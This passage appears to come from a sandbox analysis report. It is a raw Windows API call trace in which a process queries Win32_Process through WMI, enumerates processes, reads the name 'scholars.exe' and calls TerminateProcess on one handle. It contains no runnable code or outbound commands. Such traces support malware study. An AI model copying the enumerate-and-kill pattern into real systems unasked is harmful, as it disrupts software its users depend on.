dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7f [0067.621] GetLastError () returned 0x0 [0067.621] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7f, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.622] GetLastError () returned 0x0 [0067.625] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x83 [0067.626] GetLastError () returned 0x0 [0067.626] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x83, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.626] GetLastError () returned 0x0 [0067.629] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x87 [0067.630] GetLastError () returned 0x0 [0067.630] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x87, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.630] GetLastError () returned 0x0 [0067.630] SetConsoleTextAttribute (hConsoleOutput=0x87, wAttributes=0x7) returned 1 [0067.630] GetLastError () returned 0x0 [0067.634] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x87 [0067.640] GetLastError () returned 0x0 [0067.640] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x87, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.640] GetLastError () returned 0x0 [0067.640] SetConsoleTextAttribute (hConsoleOutput=0x87, wAttributes=0x7) returned 1 [0067.640] GetLastError () returned 0x0 [0067.645] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x87 [0067.645] GetLastError () returned 0x0 [0067.645] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x87, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.645] GetLastError () returned 0x0 [0067.645] SetConsoleTextAttribute (hConsoleOutput=0x87, wAttributes=0x7) returned 1 [0067.645] GetLastError () returned 0x0 [0067.649] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x87 [0067.650] GetLastError () returned 0x0 [0067.650] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x87, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.650] GetLastError () returned 0x0 [0067.650] SetConsoleTextAttribute (hConsoleOutput=0x87, wAttributes=0x7) returned 1 [0067.650] GetLastError () returned 0x0 [0067.650] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.650] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.651] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.651] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.651] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.651] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.651] IWbemClassObject:GetNames (in: This=0x60fe638, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e438*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e404 | out: pNames=0x5e8e404*="\x01ƀ\x04") returned 0x0 [0067.651] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.651] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.651] SafeArrayGetLBound (in: psa=0x41eb00, nDim=0x1, plLbound=0x5e8e000 | out: plLbound=0x5e8e000) returned 0x0 [0067.651] IWbemClassObject:Get (in: This=0x60fe638, wszName="__GENUS", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf230*=0, plFlavor=0x2edf234*=0 | out: pVal=0x5e8e430*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2edf230*=3, plFlavor=0x2edf234*=64) returned 0x0 [0067.651] IWbemClassObject:Get (in: This=0x60fe638, wszName="__CLASS", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf264*=0, plFlavor=0x2edf268*=0 | out: pVal=0x5e8e430*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2edf264*=8, plFlavor=0x2edf268*=64) returned 0x0 [0067.651] SysStringLen (param_1="Win32_Process") returned 0xd [0067.651] IWbemClassObject:Get (in: This=0x60fe638, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf2b8*=0, plFlavor=0x2edf2bc*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf2b8*=8, plFlavor=0x2edf2bc*=64) returned 0x0 [0067.651] IWbemClassObject:Get (in: This=0x60fe638, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf2e0*=0, plFlavor=0x2edf2e4*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf2e0*=8, plFlavor=0x2edf2e4*=64) returned 0x0 [0067.651] IWbemClassObject:Get (in: This=0x60fe638, wszName="__RELPATH", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf308*=0, plFlavor=0x2edf30c*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf308*=8, plFlavor=0x2edf30c*=64) returned 0x0 [0067.651] IWbemClassObject:Get (in: This=0x60fe638, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf330*=0, plFlavor=0x2edf334*=0 | out: pVal=0x5e8e430*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2edf330*=3, plFlavor=0x2edf334*=64) returned 0x0 [0067.652] IWbemClassObject:Get (in: This=0x60fe638, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf364*=0, plFlavor=0x2edf368*=0 | out: pVal=0x5e8e430*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eb00*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b240, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2edf364*=8200, plFlavor=0x2edf368*=64) returned 0x0 [0067.652] IWbemClassObject:Get (in: This=0x60fe638, wszName="__SERVER", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf39c*=0, plFlavor=0x2edf3a0*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf39c*=8, plFlavor=0x2edf3a0*=64) returned 0x0 [0067.652] IWbemClassObject:Get (in: This=0x60fe638, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf3c4*=0, plFlavor=0x2edf3c8*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf3c4*=8, plFlavor=0x2edf3c8*=64) returned 0x0 [0067.652] IWbemClassObject:Get (in: This=0x60fe638, wszName="__PATH", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf3ec*=0, plFlavor=0x2edf3f0*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf3ec*=8, plFlavor=0x2edf3f0*=64) returned 0x0 [0067.652] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e4b0 | out: puCount=0x5e8e4b0*=0x2) returned 0x0 [0067.652] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e4ac*=0x17, pszText=0x0) returned 0x0 [0067.652] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e4ac*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.652] IWbemClassObject:Get (in: This=0x60fe638, wszName="ProcessId", lFlags=0, pVal=0x5e8e46c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf454*=0, plFlavor=0x2edf458*=0 | out: pVal=0x5e8e46c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x604, varVal2=0x0), pType=0x2edf454*=19, plFlavor=0x2edf458*=0) returned 0x0 [0067.652] IWbemClassObject:Get (in: This=0x60fe638, wszName="ProcessId", lFlags=0, pVal=0x5e8e524*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2edf454*=19, plFlavor=0x2edf458*=0 | out: pVal=0x5e8e524*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x604, varVal2=0x0), pType=0x2edf454*=19, plFlavor=0x2edf458*=0) returned 0x0 [0067.653] EnumProcesses (in: lpidProcess=0x2ee2474, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2ee2474, lpcbNeeded=0x5e8e5a8) returned 1 [0067.653] GetLastError () returned 0x0 [0067.655] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3b08318, Length=0x20000, ResultLength=0x5e8e528 | out: SystemInformation=0x3b08318, ResultLength=0x5e8e528*=0xdcb8) returned 0x0 [0067.662] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0067.684] GetLastError () returned 0x0 [0067.684] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.684] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.684] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.684] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d87e40*=0, plFlavor=0x2d87e44*=0 | out: pVal=0x5e8e58c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d87e40*=8, plFlavor=0x2d87e44*=64) returned 0x0 [0067.685] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d87e40*=8, plFlavor=0x2d87e44*=64 | out: pVal=0x5e8e590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d87e40*=8, plFlavor=0x2d87e44*=64) returned 0x0 [0067.685] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.685] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.685] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.685] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__CLASS", lFlags=0, pVal=0x5e8e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d87ea8*=0, plFlavor=0x2d87eac*=0 | out: pVal=0x5e8e58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2d87ea8*=8, plFlavor=0x2d87eac*=64) returned 0x0 [0067.685] SysStringLen (param_1="Win32_Process") returned 0xd [0067.685] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__CLASS", lFlags=0, pVal=0x5e8e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d87ea8*=8, plFlavor=0x2d87eac*=64 | out: pVal=0x5e8e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2d87ea8*=8, plFlavor=0x2d87eac*=64) returned 0x0 [0067.685] SysStringLen (param_1="Win32_Process") returned 0xd [0067.685] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.685] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.685] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.685] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.685] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.685] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.685] IWbemClassObject:GetNames (in: This=0x60fe7d0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e584*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e550 | out: pNames=0x5e8e550*="\x01ƀ\x04") returned 0x0 [0067.685] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.685] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.685] SafeArrayGetLBound (in: psa=0x41eaa0, nDim=0x1, plLbound=0x5e8e14c | out: plLbound=0x5e8e14c) returned 0x0 [0067.686] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__GENUS", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d889e4*=0, plFlavor=0x2d889e8*=0 | out: pVal=0x5e8e57c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2d889e4*=3, plFlavor=0x2d889e8*=64) returned 0x0 [0067.686] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__CLASS", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88a18*=0, plFlavor=0x2d88a1c*=0 | out: pVal=0x5e8e57c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2d88a18*=8, plFlavor=0x2d88a1c*=64) returned 0x0 [0067.686] SysStringLen (param_1="Win32_Process") returned 0xd [0067.686] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88a6c*=0, plFlavor=0x2d88a70*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88a6c*=8, plFlavor=0x2d88a70*=64) returned 0x0 [0067.686] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88a94*=0, plFlavor=0x2d88a98*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88a94*=8, plFlavor=0x2d88a98*=64) returned 0x0 [0067.686] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88abc*=0, plFlavor=0x2d88ac0*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88abc*=8, plFlavor=0x2d88ac0*=64) returned 0x0 [0067.686] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88ae4*=0, plFlavor=0x2d88ae8*=0 | out: pVal=0x5e8e57c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2d88ae4*=3, plFlavor=0x2d88ae8*=64) returned 0x0 [0067.686] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88b18*=0, plFlavor=0x2d88b1c*=0 | out: pVal=0x5e8e57c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eaa0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b250, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2d88b18*=8200, plFlavor=0x2d88b1c*=64) returned 0x0 [0067.686] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__SERVER", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88b50*=0, plFlavor=0x2d88b54*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88b50*=8, plFlavor=0x2d88b54*=64) returned 0x0 [0067.686] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88b78*=0, plFlavor=0x2d88b7c*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88b78*=8, plFlavor=0x2d88b7c*=64) returned 0x0 [0067.687] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__PATH", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88ba0*=0, plFlavor=0x2d88ba4*=0 | out: pVal=0x5e8e57c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88ba0*=8, plFlavor=0x2d88ba4*=64) returned 0x0 [0067.687] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5fc | out: puCount=0x5e8e5fc*=0x2) returned 0x0 [0067.687] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5f8*=0x17, pszText=0x0) returned 0x0 [0067.687] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5f8*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5f8*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.687] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="Name", lFlags=0, pVal=0x5e8e5b8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88c18*=0, plFlavor=0x2d88c1c*=0 | out: pVal=0x5e8e5b8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="scholars.exe", varVal2=0x0), pType=0x2d88c18*=8, plFlavor=0x2d88c1c*=0) returned 0x0 [0067.687] SysStringLen (param_1="scholars.exe") returned 0xc [0067.687] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="Name", lFlags=0, pVal=0x5e8e670*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d88c18*=8, plFlavor=0x2d88c1c*=0 | out: pVal=0x5e8e670*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="scholars.exe", varVal2=0x0), pType=0x2d88c18*=8, plFlavor=0x2d88c1c*=0) returned 0x0 [0067.687] SysStringLen (param_1="scholars.exe") returned 0xc [0067.687] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.687] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.687] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.687] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e548 | out: puCount=0x5e8e548*=0x2) returned 0x0 [0067.687] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e544*=0x17, pszText=0x0) returned 0x0 [0067.687] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e544*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e544*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.687] IWbemClassObject:GetNames (in: This=0x60fe7d0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e50c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e4d8 | out: pNames=0x5e8e4d8*="\x01ƀ\x04") returned 0x0 [0067.687] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.687] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.687] SafeArrayGetLBound (in: psa=0x41eb00, nDim=0x1, plLbound=0x5e8e0d4 | out: plLbound=0x5e8e0d4) returned 0x0 [0067.688] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__GENUS", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d890f0*=0, plFlavor=0x2d890f4*=0 | out: pVal=0x5e8e504*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2d890f0*=3, plFlavor=0x2d890f4*=64) returned 0x0 [0067.688] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__CLASS", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d89124*=0, plFlavor=0x2d89128*=0 | out: pVal=0x5e8e504*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2d89124*=8, plFlavor=0x2d89128*=64) returned 0x0 [0067.688] SysStringLen (param_1="Win32_Process") returned 0xd [0067.688] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d89178*=0, plFlavor=0x2d8917c*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d89178*=8, plFlavor=0x2d8917c*=64) returned 0x0 [0067.688] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d891a0*=0, plFlavor=0x2d891a4*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d891a0*=8, plFlavor=0x2d891a4*=64) returned 0x0 [0067.688] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__RELPATH", 